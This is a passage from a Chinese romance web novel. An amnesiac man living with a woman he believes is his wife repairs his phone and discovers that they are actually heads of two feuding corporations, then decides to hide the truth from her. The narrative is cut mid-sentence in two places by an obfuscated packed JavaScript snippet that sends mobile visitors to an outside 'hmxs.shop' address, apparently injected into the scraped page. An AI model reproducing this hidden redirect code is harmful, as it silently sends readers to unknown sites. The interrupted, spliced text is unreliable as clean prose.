陈江的性格也和他的外貌无异,随性中又带着不羁,声音懒懒的:“你好啊,美女!” 江云只笑了笑,很快收回视线,继续喝茶。 但陈江却主动靠近,问她:“喜欢听歌吗?最近新做了几首歌,还没给他们听过。” 他还是个自来熟,江云暗诽。 她抿了口茶,语气平淡:“还好。” “陈江,你注意点分寸,江云是我们家的客人,人家都有老公了!”江晴出面警告。 陈江一惊,面色略显诧异,没想到她看上去这么年轻已经结婚了,然话锋又很快转了回来,说他只是想给人分享自己的新歌。 “你拷下来了吗?直接在我这放,大家一起听。”江醇伸手找他拿u盘。 陈江一个反手,把u盘甩了过去。 他又接着问:“美女,你是哪儿人啊?” 江云摇头,实话实说:“我也不知道。” 陈江明显愣住。 江晴干脆和江云换了位置:“你能别那么多问题吗?听歌就听歌!” 陈江‘嘁’了声,说自己只是问问而已。 屋子里逐渐没了太阳光照耀,屋内的光线也暗了下来。 江醇把所有的灯都开了。 江云打算回去。 “那我们一起走吧,正好去我妈那吃饭。”江晴提议。 有机会去未来丈母娘面前刷好感,江醇自然不会拒绝。 陈江也愁着晚饭怎么解决。 于是很快拍板敲定,江醇关了工作室,四个人一起往萍姐的饭馆走。 江云走在最前面,逐渐加快的脚步里藏着几分雀跃和期待。 也不知道江阔回来了没有。 等他回来了没准也能知道有关于他们的消息。 小一公里的距离,他们只花了七八分钟。 “萍姐,江阔回来了吗?”刚到饭馆门口,江云的话已经脱口而出。 得到的却是否定的答案。 嘴边的笑跟着平了下去,江云略显失落地‘哦’了声。 江醇和陈江跟萍姐打了招呼,一起进了店。 萍姐本说等江阔回来之后再开饭,被江云拒绝了。 江云说让他们先吃,江阔也不知道什么时候才回来。 江云也打算先回房,是萍姐把她留了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958116|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 “小云,你先吃点东西吧,你的药已经在煮了,而且江阔回来他肯定先来这,你也能第一时间知道。” 江云动摇了。 只是一顿饭江云吃得心猿意马,视线时不时瞟一眼门口,迟迟等不到熟悉的身影。 心底莫名空虚。 夜幕已经完全落下了,天黑了个彻底。 江云又开始担心。 江阔不会是出了什么事吧? 会不会遇到什么坏人? 或者车祸? 各种想象从昏暗的海风里吹进鼻腔,江云越想越乱,越来越担心。 刚吃完,她便迫不及待起身往外跑。 萍姐还没来得及拦住她。 不过她才跑出门口两步,悬着的心便瞬间落了下来。 不安的情绪也彻底消散。 她很快咧起唇角,扑入了那道熟悉的怀抱,顿时沉浸在巨大的喜悦中,完全忽视了男人没入黑夜里苍白的脸色。 “你终于回来了!” 男人的身形一抖,双臂在身侧僵了僵,像是没反应过来,顿了几秒后,才抬起双臂轻轻搂住她的腰:“嗯,吃饭了吗?” 他的声音里透着浓浓的疲惫,还有一点江云听不懂的情绪,她仰头,刚对上他低垂的眸子,想问他是不是累了。 身后突兀闯进一道轻挑的声音:“美女,这就是你老公吗?” 江云怔了怔,隐隐排斥。 不等江云回答,江醇‘啧’了一声,从里头出来踢了陈江一脚,让他赶紧回去。 等她收回视线再注意到江阔时,他还盯着陈江离开的方向。 两秒的反应之后,他才缓慢地重新看她。 “你怎么了?”江云发觉他很不对劲。 他寻常反应没这么慢,动作也没有这样呆滞。 江云又问:“是今天出去有什么消息了吗?” 话音刚落,江阔的身体又微微一震,幅度很小,江云却感受得很明显。 只一霎那,他迅速深吸了口气,恢复了常态。 他猛然摇头,否认道:“没有,我就是走了太久的路,又坐了很久的车,有点累。” “那正好进来吃饭吧,江阔,小云刚刚给你留了一份饭呢!”萍姐从店里探出头来,很明显,他们的对话她都听到了。 江云也从他的怀中抽离,顺势拉住他的手,带着他进店。 她说:“累就快点来吃东西,先把肚子填饱。” 江阔没反抗,也一句话没说,先吃了饭。 他连今晚吃饭的状态都不寻常。 或许是真的太累了,一向从容的进食也变成了狼吞虎咽,那一大碗饭,他五分钟就扒完了。 他是真的累到了。 江云想。 然而他刚擦净嘴,直接起身,拿着江云已经煮好的药,二话不说把江云拖回了房间。 脚步很急。 急到江云走两步就要小跑一段。 江云满心困惑,想让他慢点,结果没来得及开口,前面的人已经停了下来。 江云一个踉跄,险些没站稳。男人环腰把她套牢,等定睛时才看清已经到了房门口。 江云松了口气。 才要问他今天的情况,他又一脚踹开房门,她喘息未平,江阔已经扣紧了门,动作略微粗暴地将她抵在墙边,耳边还残留着门板合拢发出的震颤余音,他手里的药罐已经被随手按在了柜子上,深褐色的液体大幅晃荡。 “你……” 江云根本来不及说话。 江阔的吻蛮横地冲过来,比此前任何一次都要强势,动作也比此前每一次都要激烈。 他的疲惫又好像消失不见了。 近乎啃咬的吻江云有些消受不来,无论她怎么躲避,江阔都强横地追上来,把她所有的退路抵死。 江云稍蹙着眉,双眸略显慌乱地眨动,浑然看不懂他的情绪。 只有嘴唇上的痛感一阵强过一阵。 “痛……” 她忍不住咽出声。 好在奏了效。 男人粗喘着气松开她,说了句无头无脑的话:“不要离开我。” “什么……” 江云完全没听懂,可他又像是怕从她嘴里听到什么话似的,在她刚要开口的那一刻便重新堵住她的唇。 又一阵激烈的啃咬过后,他再次松开,又问:“刚才那个男人是谁?” 21. 20 江云怔怔看他一眼,又后知后觉,重重地吐了口气,嗤笑道:“你吃醋了?” 害她白担心一场。 “那是江晴他们的朋友,我又不认识人家。”她解释。 江阔没说话。 手掌牢牢托住她的下巴,指腹依旧贪婪地在她的肌肤上摩挲。 眉头稍微蹙起,深褐色的眸子被吞没透亮,覆上一层沉重的纱。 江云在心里暗暗记下:这就是他吃醋的样子。 她揽紧他的腰,主动开口安慰:“真的,别再想了,今天下午我去江醇的工作室喝了他们这的特色,三道茶。下次你跟我一起去喝,好不好?” 江云的语气跟着软了下来,她自己都有些意外,居然能这样来安慰他。 江阔松开了她。 重新拿起身旁的药罐,把她拉回桌边:“喝药吧。” 又给她拿了蜜饯。 江云已经养成了习惯,自己抱着蜜饯罐子,就等着江阔给她喂药。 先吃了口蜜桃干,吞下几口苦药后她又问:“所以今天出去有消息了吗?还有给江晴的订婚礼物?” 江阔的手顿了顿,始终低着头,视线几番躲避。 他只轻轻应声:“没有消息,手机没修好,不过袖扣已经卖出去了,礼物也买好了。” 不等江云说什么,药已经喂到了嘴边。 “镇上的公安局位置你找到了吗?”她吞下药,又问。 江阔的反应仍然平淡,说位置很明显,他也记下了路线。 江云点了点头。 说不上多失望。 毕竟只要他们知道怎么出去,就不至于像无头苍蝇。至于有没有他们的消息,还是得看点运气。 而且也是为了给江晴买订婚礼物,目的达到就好。 可她总觉得江阔没那么开心。 视线在他的脸上几番游移,她还是想直接问。 “江阔,你到底……” “今天实在是太累了,你都不知道,我光是出村都走了好久,我觉得我们还是得把伤完全养好再走最好!”江云的话刚问出口,江阔脸上掺入的消沉便一扫而空,仿佛什么都没发生过一般。 江云咀嚼蜜饯的动作骤然一停—— 他眼底熟悉的温柔中混杂着点洒脱的不羁,语气中那股自来熟的感觉又回笼。 思绪陡然被打断,后面的话她瞬间忘了个干净。 心脏又不受控地加速跳动,嗓子眼下有明显的抽动,嘴里的蜜饯她也忘了吞下去。 她果然还是只能接受江阔的自来熟、江阔的洒脱、江阔的一切。 看来是她多想了。 等江阔重新喂过来药的时候,她才把那半块蜜饯吞了下去。 她点头:“也好。” 江阔正如他所说的那样,累到喝完药之后迅速洗漱倒头扑在了床上,累到根本没精力再朝江云索取每晚的奖励吻和蜜饯吻。 可他又偏偏留有一丝气力,四肢紧紧缠着江云,完全把她箍紧,仿佛生怕她会在睡梦中逃开似的。 “你松一点,我要呼吸不过来了。”江云很快抗议,她的胸腹完全挤在他身边,周遭的空气也被他挡住了大半。 江阔犹豫了两秒,到底顺了她。 只是从她颈后穿过的五指在她的肩头扣紧,丝毫没有松开的意思。 江云悄悄往肩口瞥了眼,又把视线缓慢移向眼前的男人。 他的眼皮轻垂,眼睑收合,纤长的睫毛盖住了视线,在眼底落下一小片阴影。 很安静的睡姿,和寻常没什么两样。 目光又落在他的右耳。 或许是窗户关得太紧,那颗黑色耳钉暗淡无光。 “云云。”江阔突然开口,双眸依然轻闭。 江云轻轻一哆嗦,气息稍微不稳:“嗯?” 黑暗中,她基本看不清他的脸色变化,只能看到他颈中微凸的喉结滚了又滚,好似想说出口的话必须要斟酌再斟酌、酝酿再酝酿。 江云蜷在他胸口的手略微收紧。 从他嘴里溢出的声音很低,近乎气音,险些没入已经不算明显的海浪声中。 江云听清了:“你爱我吗?” 瞳眸狠狠缩紧。 她不明白他为什么会问这个问题。 他依旧没睁开眸。 仿佛她再多迟疑一会,他就要睡着了。 可她确实还需要时间思考。 爱…… 她不确定。 如果单就江阔这个人来说,她觉得他的确很温柔,也很体贴,懂得照顾人。 他确实在有些方面天真,看上去好像没那么聪明,可他又明白基本的人情世故。 长相算得上高等水平,气质也不错,也应该是个有能力、会赚钱的人。 他在她这里算得上合格没错。 她也愿意去相信他是她的老公。 可她还是不能完全确定自己到底是不是爱他。 至少得等到她想起以前的事,她才能确定。 江云迟疑了很久,房间里也安静了很久。 久到江云以为江阔睡着了,这个问题她能躲过去了。 她先松了口气,不过一口气还没顺完,她以为陷入沉睡的那人又突然开口:“不想回答也不要紧,那你能不能答应我一件事?” 他的声音仍然很轻。 江云不知道是不是自己的错觉,他的语气好像有些低微,又夹杂了几分恳求和委屈。 江云顾不上思考,已经被他的情绪牵动,不自觉回应:“什么?” “永远都不要离开我,不管发生什么,你都不要离开我。” 又是昨晚的话。 江云笑了笑。 原来恋爱脑是还在想这些。 是担心她不爱,未来有一天会离开他吗? 是担心昨晚的保证不够坚定,所以又加了个永远吧。 这人这一点还是不太好,她总是猜不到他到底想做什么,很容易被他的情绪牵动。 到头来却发现是虚惊一场。 她心理压力也挺大的。 江云把他胸口褶皱的衣料往下顺了顺,说:“你放心,昨天不是都说过了?你既然能做到只当我老公,我还是有点信心做到只当你老婆的。” 江阔没有说话,又重新抱紧她。 他的唇近乎贴上她的额角,气息缓慢又浓热地洒在她的皮肉。 他微微咬牙,一个字一个字清晰吐出来:“不许骗我。” 江云的情绪彻底松懈,勾手拍了拍他紧绷的肌肉:“不骗你不骗你。” “好了,你也累了半天了,快睡吧。”江云不想他再考虑这些太冗余的问题,有这个内耗的时间拿来睡觉多好? 江阔嗯了一声,嘴唇完全贴在了她的额间。 江云也跟着闭眼。 …… 墙上的挂钟慢悠悠地走动,无声无息。 时针已经走了将近两格。 江阔终于敢睁开眼。 怀中的女人已经睡熟了。 他稍微松开她。 能够看清她的全貌。 他刚刚不是没感受到她的目光。 是他根本不敢看她。 生怕和她一对视,所有的情绪都会忍不住从眼底冒出来。 那些情绪,绝对不能再被她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958117|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见。 绝对不能。 至少目前看来,他们之间的关系,一定不能让她知道。 他们之间的关系…… 思绪触及这个敏感的点位,江阔忍不住攥紧了拳,下午好不容易被他压抑下去的情绪在此刻又重新奔涌而上。 一双平眉在黑夜中拧紧,眉尾跟着上挑,眉心挤出的几道褶皱也似是要完全刻进皮肤中。 被睫毛稍稍掩盖的双眸依旧能看清里头冒出的红血丝,深褐色瞳眸被浓雾模糊了原本的模样。 蓦地,几串透明的水柱从眼角飞速窜过,炸成了不连续的小水珠,氤入他黑色的衣衫里。 江阔像是毫无察觉一般,一动不动地注视眼前的女人。 她的模样一如他醒来后初见她。 干净利落的脸部线条勾勒着饱满的额头和清晰的下颌线,稍微上挑的眉带着点若有似无的攻击性,小巧微挺的鼻又收敛住了锋芒,弧度优越又饱满的唇给整张脸都增添了几分与众不同的色彩。 哪怕她闭着眼,这张脸也无疑是完美无瑕的。 而且对他有着一种莫名的吸引力。 他下意识会觉得这张脸很熟悉,好像曾见过千百回。 所以那天萍姐说他们是夫妻的时候,他只是短暂的怀疑,便很快相信。 因为如果他们没有关系,他不会有这样熟悉的感觉。 江云尚在昏迷期间的时候,他以为她是个不好惹的事业型女人,毕竟那套深紫色西装很少有人能驾驭。 然而她醒过来的那天,他才发现,他根本没有完全领会那种令他悸动的熟悉感。 那双漆黑如曜石般的眼眸撞上他的时候,有那么一瞬间,他想到了一个词—— 一眼万年。 也是那一刻他笃定:他们就算不是夫妻,也一定是情侣。 他不记得以前有没有见过这样的眼睛,可他坚持认为,这是他见过的最美的一双杏眸。 她也并不像他片面的想象那般,即使她的五官里潜藏着攻击性,可她的言行举止并没有表现出来,只是对他尚且存留着几分因为失忆而起的防备心。 他知道她不记得以前的事,也不太能接受他这个突然被安在身边的‘老公’,可他也能感受到,她不排斥他。 而且她愿意吃他做的饭、愿意他喂她喝药、愿意接受他帮她擦身子,还愿意听他弹曲,甚至愿意和他同床共枕。 他也下意识地,只是为她做些力所能及的事,就已经能感受到所谓的‘幸福’。 他更笃定:他们是夫妻。 所以她当初的一句“我们没准是仇人”在他这里是完全被打上‘不可能’的存在。 到后来,他清晰地感知到了从心底源起的对她的爱时,又和她肆无忌惮地接吻时,对她越来越能展现他自己时,他就再也没想过任何不好的可能。 江阔抬起手,五指却无力地悬在空中,迟迟没有落下去。 他还能落下去吗? 他还能毫无顾忌地爱她吗? 如果她哪一天知道了真相,会不会不守诺言,不顾一切地离开他? 此前江阔一直觉得他和江云在慢慢靠近,那些因为失忆生出来的隔阂都在慢慢消失。 可现在,哪怕她就在他怀中,他也觉得他们仿佛隔了十万八千里,隔着一道难以逾越的鸿沟。 眼角微微刺痛,滚烫的湿润刮得他不停眨眼,他实在受不了,动作轻缓地抽离,慢慢从她身边起来。 他没急着挪动步子,而是在确认她全然在沉睡之后,才蹑手蹑脚移向不远处的柜子。 他拿出了那两部手机。 那两部…已经被修好的手机。 22. 21 江阔刻意背对着床,把手机亮度调至最弱,双手在屏幕前微微发颤。 动作迟疑了很久,手掌也慢慢捏成拳。 平眉紧锁,眼角不住抽动,他盯着眼前陌生的屏幕,把每个角落都细细看尽,没有错过任何一丝细节。 呼吸的频率越来越慢,直至肺腔内的空气已经稀薄不堪。 他还是和下午一样,存有一丝侥幸。 他依然没有完全相信他看到的一切。 他只觉得自己是太累了,大脑没能正确处理那些信息。 心脏内缺乏氧气,跳动的速度不受控地加快,血流迅速涌动,牵扯着太阳穴‘突突’往外顶撞。 胸壁不间断地被一次次撞击,最初还有些疼,渐渐地,已经转为麻木。 他沉了口气,瞳眸没入黑暗中,辨不清颜色。 江阔拿起了那部应该属于他的手机,将摄像头对准自己的脸,顺利解了锁。 两只手颤得更厉害。 屏幕甚至在眼前出现了重影。 都是假的…… 一定都是假的…… 眼前一片模糊,江阔抱着最后一丝残存的侥幸,点进了他熟悉的界面。 然而加载出来的内容轻而易举地将一切都打成了泡影—— 所有的消息都是真的。 下午。 江阔按照萍姐说的路线,一路无阻地出了村,街上的路标也足够清晰,他走一段又找路边的村民确认一段,很快到了镇上。 镇上就只有一家数码店,他先带着手机去了那修理。修理期间,他又去了二手珠宝店,两家店距离算不上远,不过五分钟,江阔就走到了。 珠宝店的老板也很识货,确认袖扣上的钻石全都是真的后,豪爽地收了下来,最终以一万块的价格成交。 拿了钱之后,江阔直接在老板那里寻了几个有特色的店,给江晴买订婚礼物。 甚至连他不抱什么希望的那两部手机也被修好了。 一切都顺顺利利。 江阔以为纯粹是自己运气好,什么事都赶了个趟。从老板手里抄过手机,手指迅速在屏幕上敲动,等不及要解锁。 人脸识别顺利开了屏。 主界面满屏的软件,醒目的红色标点在几个社交软件上大肆展示最夸张的数字,完全不给他忽视的机会。 江阔先点进了消息最多的微信。 左下角已经成了三个点的红点明晃晃地停在那里,数十条聊天框的消息不间断。 江阔先点开了被他置顶的聊天框。 是他自己。 他看到了他的微信昵称,唇边嗤出一声笑:不羁的S。 他发朋友圈的频率很低,内容基本贴近生活。 他点开最新的一张照片,他穿着围裙掌镜,身后的桌前围了七个人,四位年长的老人,两位中年人,还有一个和他年龄、样貌相仿的男人。 应该是他的家人。 江云呢?江云不应该也在? 他退出照片,接着往下翻,嘴角的弧度慢慢往回收,滚热的风都有些难吹散他脸上的僵硬。 他的朋友圈照片里,大多是跟那个样貌相仿男人的合照,再要么是父母长辈,没有一张是有江云的。 指腹飞速在屏幕上滑动,一张又一张照片从深褐色的眸中闪过,虚散了凝聚的眸光,无声的气流从眼前窜过,拉紧了原本平展的双眉。 一条分割线停在屏幕最下方,任凭指腹再怎么滑动,都没有内容可加载了。 怎么可能? “你检查好没?一共四千块。”浸满困惑的思绪被身前老板的声音敲碎,江阔维持着那副神情,抬眸看过去。 “有什么问题嘎?”老板催促的语速慢了些,眼珠在他身上转了好几圈。 江阔想开口,话语却像是被什么东西堵在喉头,五官甚至也不受他控制。 他又低下头去,打开另一部手机,落日下在海面自由振翅的海鸥托着屏幕上的十个键盘格。他打不开,也不知道密码。 “我们这里包售后的,你放心喇!”江阔还没说什么,老板又拍了拍桌。 江阔视线不移。他直接从兜里掏出那叠钞票,飞速捻了四千往桌上一拍。 江云的手机被他囫囵塞进口袋,视线却还紧盯自己的手机屏幕。 老板才点清钞票,他人却冲过了街道,疾步跨进了对面的八角亭。 长腿一跃,屁股还没坐稳,手指已经滑动屏幕退出了微信。他跳去了手机相册。 一颗心却慢慢往下沉—— 指腹快擦出了火花,他也没能在几千张照片里找到一张江云。 不、不对。 这不可能…… 怎么可能没有江云? 这不是他的手机? 手机被他翻了一圈,空出来的手捻紧了额前耷拉的发丝。 五官愈发不受控,绷得愈发紧。 能用他的人脸识别,怎么可能不是他的手机? 可江云呢?为什么会没有江云? 他们是夫妻啊。 他不可能不留她的照片。 江阔想不通,再次回到微信。 几百个联系人的通讯录中,他翻不到一个可能是江云的微信号。 心脏沉到了底。 最后又点回和他自己的聊天框。 里面大部分都是他每天的行程安排。 有工作安排,也有私人安排。 他很快捕捉到关键信息。 启行。 他直接退出界面,去搜了启行。 搜索界面的信息像是被解除禁锢的雪球,来势汹汹地往外滚,不仅扑停了热风,还在他周身筑起雪墙,江阔背后冒出了一丝冷汗。 他看到了简介页面自己的照片: 启行集团CEO沈述白,1998年11月19日出生于淮北市,2024年毕业于淮北大学,取得工学硕士学位。 是他。 工学硕士。 和预想中的差不多。 他接着往下看。 沈述白于2024年6月正式进入启行担任CEO职位,目前单身未婚……其兄沈行之…… 横在发丝间的手指收紧。 不可能! 未婚就算了,他怎么可能会是单身?! 是简介信息没更新? 喉间堵塞得更厉害,浑像被人塞进了一捧干涩的沙砾。他稍微一动,一股冰冷的凉意从背后涌上来。 江阔心头莫名攀升起慌乱。 他好像在往前走,可再往前一步就是深不见底的无底洞,他停了脚步,想往后退,然而还没退出去,就被身后那面不断靠近的墙顶了回来。 下一秒,他被推进了黑暗的无底洞中。 江阔的手指停在启行简介最后的相关搜索上: 启行与恒璟腥风血雨的二十年。 文字旁的小框里附带一张照片,照片里的人,就是他在那几千张照片里没找到的女人。 女人长发束起,身着熟悉张扬的紫色西装,自然流出内里发散的强势。微挑的眉峰利落扫在太阳穴前段,杏眼包裹的漆黑瞳仁微微敛住锋芒,却依旧难挡攻击性。 最亮眼的,是那张冷艳又霸气的红唇,成为了整个画面的点睛之笔。 完全不像江云的江云。 照片陡然在眼前出现重影。 小臂肌肉隐隐发酸。江阔根本没点屏幕,画面却突然自动跳转,那张照片在眼前放大,重影越来越明显。 照片下方有一行字:恒璟集团新任总经理傅珺瑶。 傅珺瑶…… 江阔默默在心底重复这个名字,试图勾起一些回忆,可大脑却始终没有反应。 身体的每一个部分都开始不听他的使唤。 无法停止颤抖的双手、无法直立起来的双腿、无法控制视线的双眸、无法平展的双眉、无法启合的唇瓣、无法吸入新鲜空气的鼻腔、无法听及任何声音的双耳…… 身体像被人拽住猛力往下扯,强烈的失重感从体内疾速蔓延。手机在掌心猛地一震,在青石板面摔出一声脆响。 江阔没有着急去捡。 他不想再往下看。 大脑却强横地给他灌回那几行简单的文字信息: 傅沈两家联姻终成血案,启行与恒璟双双算计,最后落得两败俱伤的下场……启行与恒璟绝交数十年后,其后生力量继续对决……据可靠消息报道,恒璟新任总经理傅珺瑶因不明缘由至启行大楼,与其CEO沈述白于大庭广众之下大打出手,锋芒交错,傅沈两家关系愈发紧张…… 不是他,也不是她。 不是的。 什么血案?他根本没有记忆。什么对决?他怎么可能会跟她对决? 不可能。 是他的脑子不够清醒。 是他看错了。 双手同时嵌入了发丝,又一齐收紧。剧烈的撕扯感在头皮上叫嚣,江阔全身的肌肉绷紧,往核心收聚,双腿僵硬地靠拢,手肘死死抵着膝盖,快要压出两个坑窝来。 不可能。 绝对不可能! 他的五官被挡在了双臂之间,脖颈的血管却蓦然贲张,只顷刻间,脖颈红透。 尚且露在臂后的腮帮鼓起,下颌骨隐隐发颤。 八角亭隔绝了外头的热浪与光线,筑起了一道黑暗又寒冷的屏障。 怎么会这样? 怎么会这样?! 失重感越来越强。 仿佛从万米高空直直坠落。 蓦地,他蜷缩的身体狠狠一抖,四肢往四个方向震颤,那部摔在地面的手机被他又踢出去好远。 好痛。 全身震碎了一般地疼痛。 骨骼好似全部断裂、错位,肌肉扭曲、颓软。心脏仿佛瞬间破裂,浓郁的血腥猛地喷至喉口。 那不是他们。 那肯定不是他们。 他不是沈述白!她也不是傅珺瑶! 是他好不容易出来一趟,大脑过于兴奋,完全没办法正确识别他看到的信息而已。 他和江云就是夫妻啊。 他爱她的啊,谁都有可能骗他,可他的身体怎么可能会骗他? 是他看错了,他的脑子不够清醒,他不能再看下去了。 身体的痛感全都来自于他的想象,那些恐惧也只是他的想象而已,那都不是真的、都不是真的! 头皮传来的麻木渐轻。 江阔终于找回了唇瓣的支配权,大口大口地呼吸,把那些莫名其妙的血腥味全都压下去。 对,那只是他看错了而已。 他和江云一定是夫妻…… 一定是! 背后的冰冷渐退,一股熟悉的热浪温和地席卷。他松开了双手,脸颊从双臂后一点一点展露,唇边扯出难以止颤的笑。 眼前已经是一片灰暗。 日落了。 他该回去了。 江云还在等他。 对,江云还在家里等他。 他的云云在等他。 他的老婆在等他。 他要回家。 江阔扶着身旁的圆柱,双腿艰难地伸直,动作略显机械地捡了手机,看都不看一眼直接关机,塞进了最里侧的口袋。 此时的江阔坐在圆桌旁,双臂互相钳制,被浓雾铺满的双瞳紧紧盯着那几行他依然看不懂的文字。 下面还附有图片。 江阔甚至都不确定那是不是他自己,更不确定被他掐住下巴的女人到底是不是江云。 一身板正黑色西装的他脸色冷冽,看向她的眼神里没有一丝客气与谦让,甚至连礼貌都算不上。 而她更甚,张扬的酒红色西装衬得她完全一副雷厉风行的模样,杏眼中不含一丁点柔和,仿佛要把她所有的尖锐毫无保留地刺向他。 大打出手、锋芒交错、关系紧张…… 不可能,怎么可能会是这样的? 他怎么可能会跟她是这样的?! 这些信息都是乱写、一定都是乱写的! 照片也是巧合,他不是沈述白,江云也不是傅珺瑶!这个世界上长相相似的人那么多,一定只是巧合! 江阔这样欺骗自己。 然而不过半刻,紧咬的牙关止不住发颤,险些在房间震出声响惊扰到床上的人,熟悉的失重感再次发散,他狠狠掐着自己小臂的肌肉,短平的指甲快要嵌进皮肉。 一滴滚烫的咸泪烫进了臂弯,直直将他碎进坚硬的岩石中。 已经不像全身震碎那般,好似十几个人拿着刀,同时割开他的皮肉,活生生地将他的骨头拧出来,把全部的血管、神经搅乱、捣碎之后,又把骨头错乱强硬地按回去,最后用水管粗的针生硬缝合,在他的皮肉上留下了数不尽的大窟窿,又滋滋往外冒血。 可他们仍然觉得不够,十几人合力钳制他千疮百孔的躯干,一个面目狰狞的人站定在他跟前,直奔他的心脏,冷冽的锐光疾速从眼前闪过,狠狠捣了进去。像是和水泥一般,刀刃在里头往四面八方搅动,把那颗软肉片得稀碎。 江阔究竟没能骗过自己。 巧合…… 江阔看着模糊的一片,臂弯上已经多了一排月牙印。 就算是巧合,又怎么会那么巧 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下面是数不清的未接语音和视频通话。 江阔的手颤得更厉害。 还有母亲和父亲给他发的消息,话里话外同样充斥着数不尽的担忧。 沈述白。 他默默重复这个名字。 沈述白…… 手臂被泪水浸湿大半。 通讯录里就有他家人的联系方式,他只要打一个电话过去,就能让他们不再担心。 可他如果就这么做回了沈述白,那他和江云…… 江云…… 他回头,黑夜披上了一层厚厚的水雾,床上的人影模糊不清。 不…… 不行。 绝对不行! 他说过的,不管是现在还是未来,他都只会做她的老公。 她也说过的,她永远都是他老婆。 他们不能分开的。 然而只片刻,他又低下头,左手再次插进头发,一遍遍地捏紧,扯起头皮上尖锐的刺痛。 可他又让江云怎么办? 他知道了真相,却把她蒙在鼓里。就算能瞒住一时,他能瞒得住她一辈子吗? 江阔整张脸都埋进了臂弯。湿润只在须臾之间便滚满了皮肉,咸涩的水珠渗进皮囊,又落入唇中,被苦涩地咽下肚。 他回想起前阵子她一次次的猜忌怀疑时,他的一次次肯定保证。 “我们不会的。” “我们一定不会是痛苦的结局,我知道我心里有你。别害怕,等伤好了,我们就亲自去验证那段未知的过去,那一定是一段美好又浪漫的过去。” “如果我们是仇人,我应该是不会对你产生感情的,可是我在见到你的那一刻就感觉到了我对你有感情,身体本能是不会骗人的。” 江阔无力地扯唇,气声牵出的笑里拖出浓浓的自嘲。 一定不会是痛苦的结局。 那一定是一段美好又浪漫的过去。 身体本能是不会骗人的。 他才知道那些他曾向她保证过的一定竟全都是错觉,而且错得离谱! 那些笃定现在看来,不过是他自以为是闹出来的天大笑话! 他不仅让自己完全爱上了她,还让她被动地接受他们是夫妻,甚至腆着脸几次吻她。 他还要怎么爱她?他又要怎么恨她? 喉间的咸涩更浓,他几次滚喉,只觉得嗓子被剌得生疼。 都怪他,都是他的错…… 都怪他只听感觉,没有等求证,甚至误导了江云,都怪他…… 造成了这样一幅他们爱不能好好爱、恨也不能恨彻底的局面。 他到底该不该告诉她真相? 就趁着她还没有爱上他的时候。 可如果江云知道了真相会怎样?她会不会比他更难受?她会不会恨透了他? 如果她恨透了他,他又该怎么办? 他已经不想失去她。 他已经不能失去她。 他们能不能不回去,就留在这里,做一辈子的江云和江阔? 清涕裹着泪水下掉,短促的抽吸声从臂弯传出来,江阔狠狠压着小臂,试图完全挡住声响,不惊扰到床上的人。 江阔一再忍着抽噎,直至所有的液体都已经干涸。 他缓慢起身,全然不顾脸上的狼狈。 大脑冒出卑劣的想法:如果等江云爱上他呢? 反正她已经答应,等他们伤完全养好再离开。 如果她爱上了他,她不离开他的几率是不是就会变大? 如果她爱上了他,那些誓言就不会轻易被她舍弃,她就一定会遵守的,对吗? 干涸的眼角再次盈出湿润。 为什么他们会同时出事?为什么他偏偏爱上了她?为什么他们偏偏就是仇人? 始终没有松开的双眉止不住地颤抖,睫毛轻轻落下,被泪水浸湿,沉重的黏在一起,眼皮抽搐得厉害。 重复的矛盾与纠结在脑海中来回翻滚,几乎搅碎了他全部的思考能力。无奈的痛苦与挣扎徘徊在心口,又捣碎了他所有的理智。 偏偏矛盾和纠结越激烈、痛苦与挣扎越深沉,他的爱就越清晰。 他爱她。 没有任何否认的余地。 偏偏他只爱她。 偏偏他只想要她。 偏偏他已经认定,这辈子她就是他唯一的妻子。 他要怎么割舍? 这个仇人的身份,他能不能不要? 木制的圆桌干了又湿、湿了又干。 房间里的昏暗渐退,隐秘的光亮慢慢浮起。 江阔四肢发僵,冰冷麻木。 机械屏幕中的消息依然是未被回复的状态。 他面无表情地关了手机,蹑手蹑脚地放回柜子,抹掉了桌上的痕迹,凳子也归于原位。 一切仿佛从未发生过。 他回头,床上的女人尚在酣甜的睡梦中,那张脸依旧是无数次让他心动的模样。 他走近俯身,轻若无物地在她唇上落下一吻。 够了。 男人敛起唇角。 他什么都不知道,他不记得从前,他现在…就只是江阔,她也还是他的江云。 江云是江阔唯一的妻子,江阔也是江云唯一的丈夫。 仅此而已。 嘴角终于牵起一抹浅笑,发红的眼底盈满了醇滑的温柔,他轻抚几下她的脸颊,心满意足地出了房间。 23. 22 江云醒来的时候,身旁空无一人。 她也习惯了,江阔一般都会提前起床做早餐。 熟悉的光线和海浪已经成了她苏醒的标配,这一觉睡得相当舒服,江云满意地伸了个懒腰,习惯性地等着江阔回来叫她起床。 窗户被她推开半边,暖光迫不及待地冲进房间,照亮了大半个屋子。 江云懒洋洋地侧着身,惬意地等着热浪温和扑入鼻腔,唤醒她尚且沉睡的细胞。 不知道江阔今天早上会做些什么? 不过应该都是她爱吃的。 江云闭着眼静静冥想,耳边的海浪声翻过了一轮又一轮。 她睁眼,稍微讶异。 墙上的挂钟告诉她已经过了四十分钟了。 江阔寻常在她醒后最多二十分钟就会端着早餐进来的。 她也实在没了耐心继续躺下去,自己起了身。 双脚刚对准拖鞋,房门被江阔推开了。 “今天晚了一点,你先起来了?” 他的语气如旧,是每天早晨无形中灌输给她的一杯醒神丝滑拿铁。 